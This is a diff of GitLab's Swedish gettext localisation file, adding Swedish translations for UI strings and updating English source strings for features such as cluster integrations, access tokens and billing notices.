+msgstr[1] "%{no_of_days} dagar"
msgid "%{number_commits_behind} commits behind %{default_branch}, %{number_commits_ahead} commits ahead"
-msgstr ""
+msgstr "%{number_commits_behind} commits bakom %{default_branch}, %{number_commits_ahead} commits framför"
msgid "%{oneMonthAgo} - %{today}"
-msgstr ""
+msgstr "%{oneMonthAgo} - %{today}"
msgid "%{oneWeekAgo} - %{today}"
-msgstr ""
+msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
-msgstr ""
+msgstr "%{oneYearAgo} - %{today}"
msgid "%{openOrClose} %{noteable}"
-msgstr ""
+msgstr "%{openOrClose} %{noteable}"
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -771,21 +789,21 @@ msgid "%{percent}%{percentSymbol} complete"
msgstr ""
msgid "%{placeholder} is not a valid color scheme"
-msgstr ""
+msgstr "%{placeholder} är inte ett giltigt färgschema"
msgid "%{placeholder} is not a valid theme"
-msgstr ""
+msgstr "%{placeholder} är ett ogiltigt tema"
msgid "%{primary} (%{secondary})"
-msgstr ""
+msgstr "%{primary} (%{secondary})"
msgid "%{ref} cannot be added: %{error}"
-msgstr ""
+msgstr "%{ref} kan inte läggas till: %{error}"
msgid "%{releases} release"
msgid_plural "%{releases} releases"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "%{releases} utgåva"
+msgstr[1] "%{releases} utgåvor"
msgid "%{remaining_approvals} left"
msgstr ""
@@ -821,23 +839,26 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{size} %{unit}"
+msgstr "%{size} %{unit}"
+
msgid "%{size} GiB"
-msgstr ""
+msgstr "%{size} GiB"
msgid "%{size} KiB"
-msgstr ""
+msgstr "%{size} KiB"
msgid "%{size} MiB"
-msgstr ""
+msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr ""
msgid "%{sourceBranch} into %{targetBranch}"
-msgstr ""
+msgstr "%{sourceBranch} till %{targetBranch}"
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -849,14 +870,11 @@ msgid "%{spanStart}in%{spanEnd} %{errorFn}"
msgstr ""
msgid "%{start} to %{end}"
-msgstr ""
+msgstr "%{start} till %{end}"
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,17 +975,11 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
msgid "%{userName}'s avatar"
-msgstr ""
+msgstr "%{userName}s avatar"
msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
msgstr ""
@@ -982,7 +994,7 @@ msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
msgid "%{username}'s avatar"
-msgstr ""
+msgstr "%{username}s avatar"
msgid "%{user} created a merge request: %{mr_link}"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1009,7 +1024,7 @@ msgid "%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_
msgstr ""
msgid "&lt; 1 hour"
-msgstr ""
+msgstr "&lt; 1 timme"
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1074,25 +1089,25 @@ msgid "(check progress)"
msgstr ""
msgid "(deleted)"
-msgstr ""
+msgstr "(raderad)"
msgid "(leave blank if you don't want to change it)"
msgstr ""
msgid "(max size 15 MB)"
-msgstr ""
+msgstr "(max storlek 15 MB)"
msgid "(removed)"
-msgstr ""
+msgstr "(borttagen)"
msgid "(revoked)"
-msgstr ""
+msgstr "(Ã¥terkallad)"
msgid "(we need your current password to confirm your changes)"
msgstr ""
msgid "* * * * *"
-msgstr ""
+msgstr "* * * * *"
msgid "+ %{amount} more"
msgstr ""
@@ -1155,10 +1170,10 @@ msgid "- of - weight completed"
msgstr ""
msgid "- show less"
-msgstr ""
+msgstr "- visa mindre"
msgid "."
-msgstr ""
+msgstr "."
msgid "0 bytes"
msgstr ""
@@ -1170,7 +1185,7 @@ msgid "0 for unlimited, only effective with remote storage enabled."
msgstr ""
msgid "0t1DgySidms"
-msgstr ""
+msgstr "0t1DgySidms"
msgid "1 Day"
msgid_plural "%d Days"
@@ -1289,7 +1304,7 @@ msgid "10-19 contributions"
msgstr ""
msgid "1000+"
-msgstr ""
+msgstr "1000+"
msgid "1st contribution!"
msgstr ""
@@ -1298,22 +1313,22 @@ msgid "20-29 contributions"
msgstr ""
msgid "2FA"
-msgstr ""
+msgstr "2FA"
msgid "2FADevice|Registered On"
msgstr ""
msgid "3 days"
-msgstr ""
+msgstr "3 dagar"
msgid "3 hours"
-msgstr ""
+msgstr "3 timmar"
msgid "30 days"
-msgstr ""
+msgstr "30 dagar"
msgid "30 minutes"
-msgstr ""
+msgstr "30 minuter"
msgid "30+ contributions"
msgstr ""
@@ -1334,13 +1349,13 @@ msgid "404|Please contact your GitLab administrator if you think this is a mista
msgstr ""
msgid "7 days"
-msgstr ""
+msgstr "7 dagar"
msgid "8 hours"
-msgstr ""
+msgstr "8 timmar"
msgid ":%{startLine} to %{endLine}"
-msgstr ""
+msgstr ":%{startLine} till %{endLine}"
msgid "A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents."
msgstr ""
@@ -1391,7 +1406,7 @@ msgid "A default branch cannot be chosen for an empty project."
msgstr ""
msgid "A deleted user"
-msgstr ""
+msgstr "En raderad användare"
msgid "A description is required"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1883,7 +1886,7 @@ msgid "Add New Node"
msgstr ""
msgid "Add README"
-msgstr ""
+msgstr "Lägg till README"
msgid "Add Zoom meeting"
msgstr ""
@@ -1892,7 +1895,7 @@ msgid "Add a %{type}"
msgstr ""
msgid "Add a GPG key"
-msgstr ""
+msgstr "Lägg till en GPG-nyckel"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
@@ -1901,7 +1904,7 @@ msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server.
msgstr ""
msgid "Add a bullet list"
-msgstr ""
+msgstr "Lägg till en punktlista"
msgid "Add a collapsible section"
msgstr ""
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,11 +1927,14 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
-msgid "Add a line"
+msgid "Add a horizontal rule"
msgstr ""
+msgid "Add a line"
+msgstr "Lägg till en rad"
+
msgid "Add a link"
-msgstr ""
+msgstr "Lägg till en länk"
msgid "Add a new issue"
msgstr ""
@@ -1937,7 +1946,7 @@ msgid "Add a related issue"
msgstr ""
msgid "Add a table"
-msgstr ""
+msgstr "Lägg till en tabell"
msgid "Add a task list"
msgstr ""
@@ -1949,7 +1958,7 @@ msgid "Add additional text to appear in all email communications. %{character_li
msgstr ""
msgid "Add an SSH key"
-msgstr ""
+msgstr "Lägg till en SSH-nyckel"
msgid "Add an existing issue"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2003,7 +2015,7 @@ msgid "Add environment"
msgstr ""
msgid "Add existing confidential %{issuableType}"
-msgstr ""
+msgstr "Lägg till existerande konfidentiell %{issuableType}"
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -2015,19 +2027,19 @@ msgid "Add italic text"
msgstr ""
msgid "Add key"
-msgstr ""
+msgstr "Lägg till nyckel"
msgid "Add label(s)"
msgstr ""
msgid "Add list"
-msgstr ""
+msgstr "Lägg till lista"
msgid "Add new application"
msgstr ""
msgid "Add new directory"
-msgstr ""
+msgstr "Lägg till ny katalog"
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4839,13 +4851,13 @@ msgid "Available specific runners"
msgstr ""
msgid "Avatar for %{assigneeName}"
-msgstr ""
+msgstr "Avatar för %{assigneeName}"
msgid "Avatar for %{name}"
-msgstr ""
+msgstr "Avatar för %{name}"
msgid "Avatar will be removed. Are you sure?"
-msgstr ""
+msgstr "Avataren kommer att tas bort! Är du säker?"
msgid "Average per day: %{average}"
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
